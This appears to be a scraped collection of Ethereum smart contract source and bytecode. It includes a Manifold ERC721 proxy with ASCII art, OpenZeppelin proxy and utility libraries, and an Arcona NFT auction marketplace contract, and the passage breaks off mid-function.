0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107435780601f1061071857610100808354040283529160200191610743565b820191906000526020600020905b81548152906001019060200180831161072657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561088057600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108ce57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561095957600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109eb83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b1115156109f757600080fd5b610a4982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ade82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bb082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d6f5780601f10610d4457610100808354040283529160200191610d6f565b820191906000526020600020905b815481529060010190602001808311610d5257829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e565780601f10610e2b57610100808354040283529160200191610e56565b820191906000526020600020905b815481529060010190602001808311610e3957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e9b57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ee957600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7b83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b111515610f8757600080fd5b610fd982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061106e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff168260405180828051906020019080838360005b8381101561124d578082015181840152602081019050611232565b50505050905090810190601f16801561127a5780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af1915050151561129a57600080fd5b600190509392505050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156114e65780820151818401526020810190506114cb565b50505050905090810190601f1680156115135780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561153757600080fd5b600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008082840190506115dd84821015611600565b8091505092915050565b60006115f583831115611600565b818303905092915050565b80151561160c57600080fd5b505600a165627a7a72305820c5ff42fa126fcb95d94d2523d8384e93cd5e6f89f989dd66c5ff8abc2090e1f30029
[ 38 ]
0xf3186ee49279406efe060fa6eb79663f47daef85
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: blessings from kami /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // @@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // // @@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@@@@@ // // @@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@ // // @@@@@@@@[email protected][email protected]$$$$$$$$$$$$$$$$$$$$$$$$$$$$||||][email protected]@@@@@@@@@@@@@@ // // @@@@@@@@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$MM|||[email protected]@@@@@@[email protected]@@@@@@@@@@@@@@ // // @@@@@@@@[email protected][email protected]@@@NNNN%@@[email protected]@@@@@@@@@@@@@@ // // @@@@@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$BBK||BBK||@@@BBBBK||||]@@[email protected]@@@[email protected]@@@@@@@@@@@ // // @@@@@[email protected]$$$|||||||]@@@@@|||||||||]@@||][email protected]@@@@@@@@@@@ // // @@@@@[email protected]||||l||||l|@@@@@@@@@@@@@@@||]@@@@@[email protected]@@@@@@@@@@@ // // @@@@@[email protected]||||||||||||@@@||@@@@@|||||||]@@@@@[email protected]@@@@@@@@@@@ // // @@@@@$$$$$$$$$$$$$$$$$$$$|||l||||l|||]@@|||[email protected]@@@@@@@@@|||||[email protected]@@@@@@@@@ // // @@@@@[email protected]||||]@@[email protected]@@[email protected]@@|||||||||||||||||[email protected]@@@@@@@@@ // // @@@@@[email protected]**|||[email protected]@@*%]@@@@@%**%%@@MMMMM%%||||||||||||||||||[email protected]@@@@@@@@@ // // @@@@@@@@[email protected]@@[email protected]@@@@||[email protected]@$$$$$lllll|||||||||||||||[email protected]@@@@@@@@@ // // @@@@@@@@[email protected]@@NNNNKl|@@@NNNNK||NNNNN$$$$$$$$$$||||||||||||||||||[email protected]@@@@@@@@@ // // @@@@@@@@[email protected]@@|||||||@@@||||]@@|||||[email protected]||||||||||||||]@@@@@@@@@@@@ // // @@@@@@@@@@[email protected]@@@@|||l|@@@@@@@@l||||l|$$$$$$$#@@[email protected]||||||||||||||]@@@@@@@@@@@@ // // @@@@@@@@@@@@@[email protected]@@@@@@@@@||||||||||||$$#@@||||||||||||||||||||||]@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@$$$$$||||||||llllllllllll$$L||lllllll]@@@@@lllllllll]@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@[email protected]@@l||||l||||l||||l|||[email protected]@@@@@@@@@@@||||||||||||]@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@[email protected]||||l||||l||||l|||]$$$$$$$"""||||||||||||||]@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@gg|||l||||l||||l|ggg$$$$P**[email protected]@@@@@@|||||||]@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@|||l||||l||||l|[email protected]@@$$F____J&&$$$$$|||||ll]@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@|||||l||||||@@@$$&&F__|||||&&&&&|||||$$#[email protected]@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|||l|||]$$$$$$$_____||j$$||||||||||[email protected]@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@||]$$$$$$$_____||j$$|||||||[email protected]@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@[email protected]@@[email protected][email protected]|||||||$$$$$$$F_________]@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|||||[email protected]$$$$$$$||[email protected]@|||||@@@@@$$$$$$$&&&[email protected]@@ // // @@@@@@@@@@@@@@@@@@[email protected]@@@@@@$|||||l||Tj$$||T||||[email protected]@@@@$$$$$$$$$$$$F""[email protected]@ // // @@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@l||||l||||**||||||||**************M****`[email protected]@ // // @@@@@@@@@@@@@@@@@@@@@@@MMNNMl||||l||||l|ll||||||||ll||||||||||[email protected]@ // // @@@@@@@@@@@@@@@@@@@@BBP__|||l||||l||||l|&&F|||||||&&F|||||||||[email protected]@ // // @@@@@@@@@@@@@@@@@@@@_____|||l||||l||||l|||j$$|||||||[email protected]|||||||[email protected]@ // // @@@@@@@@@@@@@@@@@P_____l||||l||||l||||l||||||[email protected]||||j$$$$$$$|||||[email protected]@ // // @@@@@@@@@@@@@@@_____$$$l||||l||||l||||l|||L_____||||L__$$$$$$$$$$$$L__$$$$$__]@@ // // @@@@@@@[email protected]@@@@@@[email protected]@[email protected]@@@@@@@@@@@F_________]@@ // // ```````````````___``___________________________________""""""""""""`__________`` // // ____________________________kamisama_aka_donkeyedjote___________________________ // // // // // //////////////////////////////////////////////////////////////////////////////////////////////// contract kami is ERC721Creator { constructor() ERC721Creator("blessings from kami", "kami") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122064c244624daee2465fa684a6a1f2800fb1cc02e688a1db3a090589e8189a110d64736f6c63430008070033
[ 5 ]
0xf31957ce9d9c9a30c9f3ed658b1ca8f29380d969
pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC721Interface { //ERC721 function balanceOf(address owner) public view returns (uint256 _balance); function ownerOf(uint256 tokenID) public view returns (address owner); function transfer(address to, uint256 tokenID) public returns (bool); function approve(address to, uint256 tokenID) public returns (bool); function takeOwnership(uint256 tokenID) public; function totalSupply() public view returns (uint); function owns(address owner, uint256 tokenID) public view returns (bool); function allowance(address claimant, uint256 tokenID) public view returns (bool); function transferFrom(address from, address to, uint256 tokenID) public returns (bool); function createLand(address owner) external returns (uint); } contract ERC20 { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; mapping(address => bool) admins; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AddAdmin(address indexed admin); event DelAdmin(address indexed admin); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdmin() { require(isAdmin(msg.sender)); _; } function addAdmin(address _adminAddress) external onlyOwner { require(_adminAddress != address(0)); admins[_adminAddress] = true; emit AddAdmin(_adminAddress); } function delAdmin(address _adminAddress) external onlyOwner { require(admins[_adminAddress]); admins[_adminAddress] = false; emit DelAdmin(_adminAddress); } function isAdmin(address _adminAddress) public view returns (bool) { return admins[_adminAddress]; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) external onlyOwner { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } interface NewAuctionContract { function receiveAuction(address _token, uint _tokenId, uint _startPrice, uint _stopTime) external returns (bool); } contract ArconaMarketplaceContract is Ownable { using SafeMath for uint; ERC20 public arconaToken; struct Auction { address owner; address token; uint tokenId; uint startPrice; uint stopTime; address winner; uint executeTime; uint finalPrice; bool executed; bool exists; } mapping(address => bool) public acceptedTokens; mapping(address => bool) public whiteList; mapping (address => bool) public users; mapping(uint256 => Auction) public auctions; //token => token_id = auction id mapping (address => mapping (uint => uint)) public auctionIndex; mapping(address => uint256[]) private ownedAuctions; uint private lastAuctionId; uint defaultExecuteTime = 24 hours; uint public auctionFee = 300; //3% uint public gasInTokens = 1000000000000000000; uint public minDuration = 1; uint public maxDuration = 20160; address public profitAddress; event ReceiveCreateAuction(address from, uint tokenId, address token); event AddAcceptedToken(address indexed token); event DelAcceptedToken(address indexed token); event AddWhiteList(address indexed addr); event DelWhiteList(address indexed addr); event NewAuction(address indexed owner, uint tokenId, uint auctionId); event AddUser(address indexed user); event GetToken(uint auctionId, address winner); event SetWinner(address winner, uint auctionId, uint finalPrice, uint executeTime); event CancelAuction(uint auctionId); event RestartAuction(uint auctionId); constructor(address _token, address _profitAddress) public { arconaToken = ERC20(_token); profitAddress = _profitAddress; } function() public payable { if (!users[msg.sender]) { users[msg.sender] = true; emit AddUser(msg.sender); } } function receiveCreateAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) public returns (bool) { require(isAcceptedToken(_token)); require(_duration >= minDuration && _duration <= maxDuration); _createAuction(_from, _token, _tokenId, _startPrice, _duration); emit ReceiveCreateAuction(_from, _tokenId, _token); return true; } function createAuction(address _token, uint _tokenId, uint _startPrice, uint _duration) external returns (bool) { require(isAcceptedToken(_token)); require(_duration >= minDuration && _duration <= maxDuration); _createAuction(msg.sender, _token, _tokenId, _startPrice, _duration); return true; } function _createAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) internal returns (uint) { require(ERC721Interface(_token).transferFrom(_from, this, _tokenId)); auctions[++lastAuctionId] = Auction({ owner : _from, token : _token, tokenId : _tokenId, startPrice : _startPrice, //startTime : now, stopTime : now + (_duration * 1 minutes), winner : address(0), executeTime : now + (_duration * 1 minutes) + defaultExecuteTime, finalPrice : 0, executed : false, exists: true }); auctionIndex[_token][_tokenId] = lastAuctionId; ownedAuctions[_from].push(lastAuctionId); emit NewAuction(_from, _tokenId, lastAuctionId); return lastAuctionId; } function setWinner(address _winner, uint _auctionId, uint _finalPrice, uint _executeTime) onlyAdmin external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(now > auctions[_auctionId].stopTime); //require(auctions[_auctionId].winner == address(0)); require(_finalPrice >= auctions[_auctionId].startPrice); auctions[_auctionId].winner = _winner; auctions[_auctionId].finalPrice = _finalPrice; if (_executeTime > 0) { auctions[_auctionId].executeTime = now + (_executeTime * 1 minutes); } emit SetWinner(_winner, _auctionId, _finalPrice, _executeTime); } function getToken(uint _auctionId) external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(now <= auctions[_auctionId].executeTime); require(msg.sender == auctions[_auctionId].winner); uint fullPrice = auctions[_auctionId].finalPrice; require(arconaToken.transferFrom(msg.sender, this, fullPrice)); if (!inWhiteList(msg.sender)) { uint fee = valueFromPercent(fullPrice, auctionFee); fullPrice = fullPrice.sub(fee).sub(gasInTokens); } arconaToken.transfer(auctions[_auctionId].owner, fullPrice); require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].winner, auctions[_auctionId].tokenId)); auctions[_auctionId].executed = true; emit GetToken(_auctionId, msg.sender); } function cancelAuction(uint _auctionId) external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(msg.sender == auctions[_auctionId].owner); require(now > auctions[_auctionId].executeTime); require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].owner, auctions[_auctionId].tokenId)); emit CancelAuction(_auctionId); } function restartAuction(uint _auctionId, uint _startPrice, uint _duration) external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(msg.sender == auctions[_auctionId].owner); require(now > auctions[_auctionId].executeTime); auctions[_auctionId].startPrice = _startPrice; auctions[_auctionId].stopTime = now + (_duration * 1 minutes); 